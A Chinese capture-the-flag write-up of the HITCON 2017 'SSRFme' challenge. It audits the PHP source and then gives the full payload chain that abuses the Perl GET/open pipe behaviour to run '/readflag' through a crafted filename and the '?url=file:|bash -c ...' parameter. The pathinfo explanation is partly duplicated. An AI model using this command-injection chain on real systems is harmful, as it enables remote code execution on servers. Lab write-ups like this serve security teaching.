[HITCON 2017]SSRFme 1

目录

  • 代码审计
    • [@ 符号](#@ 符号)
    • [shell_exec() 函数:](#shell_exec() 函数:)
    • [GET " . escapeshellarg(_GET\["url"\]):](#GET " . escapeshellarg(_GET["url"]):)
    • [pathinfo(_GET\["filename"\]](#pathinfo(_GET["filename"])
    • basename()
  • 题目解析

代码审计

php 复制代码
118.182.186.90
<?php
    if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
        $http_x_headers = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
        $_SERVER['REMOTE_ADDR'] = $http_x_headers[0];
    }

    echo $_SERVER["REMOTE_ADDR"];

    $sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);
    @mkdir($sandbox);
    @chdir($sandbox);

    $data = shell_exec("GET " . escapeshellarg($_GET["url"]));
    $info = pathinfo($_GET["filename"]);
    $dir  = str_replace(".", "", basename($info["dirname"]));
    @mkdir($dir);
    @chdir($dir);
    @file_put_contents(basename($info["basename"]), $data);
    highlight_file(__FILE__);

输出ip地址

基于客户端IP地址和固定字符串 "orange" 计算得出的MD5哈希值作为目录名的文件夹,并将当前工作目录切换到这个新创建的目录中

@ 符号

用来抑制可能出现的PHP警告或错误,如果无法创建目录则不会抛出错误信息

shell_exec() 函数:

  • shell_exec() 是 PHP 中用于执行 shell 命令并返回输出结果的函数。

GET " . escapeshellarg($_GET["url"]):

GET函数在底层调用了perl语言中的open函数,但是该函数存在rce漏洞。当open函数要打开的文件名中存在管道符(并且系统中存在该文件名),就会中断原有打开文件操作,并且把这个文件名当作一个命令来执行。

pathinfo($_GET["filename"]

pathinfo() 函数:pathinfo() 函数用来返回一个关联数组,其中包含文件路径的信息。它可以提取以下信息:

dirname:文件路径的目录部分。

basename:文件名和扩展名部分。

extension:文件的扩展名。

filename:文件名(不包括扩展名)

basename()

basename() 是 PHP 中用来获取文件名的函数,它可以从一个文件路径中提取文件的基本文件名部分(不包括目录路径),或者从一个 URL 中提取最后一部分路径(通常是文件名或者目录名)。

thinfo($_GET["filename"]

pathinfo() 函数:

pathinfo() 函数用来返回一个关联数组,其中包含文件路径的信息。它可以提取以下信息:

dirname:文件路径的目录部分。

basename:文件名和扩展名部分。

extension:文件的扩展名。

filename:文件名(不包括扩展名)

basename()

basename() 是 PHP 中用来获取文件名的函数,它可以从一个文件路径中提取文件的基本文件名部分(不包括目录路径),或者从一个 URL 中提取最后一部分路径(通常是文件名或者目录名)。

题目解析

先读取一下根目录

text 复制代码
payload:?url=file:///&filename=a

再访问

text 复制代码
payload:sandbox/(orange加你的ip的md5值)/a

读了一下flag为空,存在readflag

通过GET特性,来运行readflag

需要先创建一个存在运行命令的文件名

text 复制代码
payload:?url=&filename=|bash -c /readflag

然后访问该文件的时候,会执行该命令,并将结果储存在abc中

text 复制代码
payload:?url=file:|bash -c /readflag&filename=abc

访问abc

text 复制代码
payload:sandbox/(orange加你的ip的md5值)/abc

得到flag

相关推荐
上海云盾商务经理杨杨8 小时前
2025年API安全防御全解析:应对DDoS与CC攻击的智能策略
安全·web安全·ddos
从零开始学习人工智能12 小时前
探索网络设备安全:Shodan 的原理与合法应用
网络·安全·php
橙色小博12 小时前
Python中的re库详细用法与代码解析
linux·python·正则表达式·php·re
Som3B0dy14 小时前
2025年北京市职工职业技能大赛第六届信息通信行业网络安全技能大赛初赛-wp
开发语言·web安全·c#
Suckerbin14 小时前
PHP会话技术
开发语言·php
瘾大侠17 小时前
赛季7靶场 - Environment
安全·web安全
鱼嘻17 小时前
线程邮箱框架与示例
linux·c语言·开发语言·算法·php
zh731418 小时前
支付宝沙盒模式商家转账经常出现 响应异常: 解包错误
前端·阿里云·php
Q_Q196328847518 小时前
python小区物业管理系统-小区物业报修系统
开发语言·spring boot·python·django·flask·node.js·php
上海云盾商务经理杨杨20 小时前
2025年APP安全攻防指南:抵御DDoS与CC攻击的实战策略
安全·web安全·ddos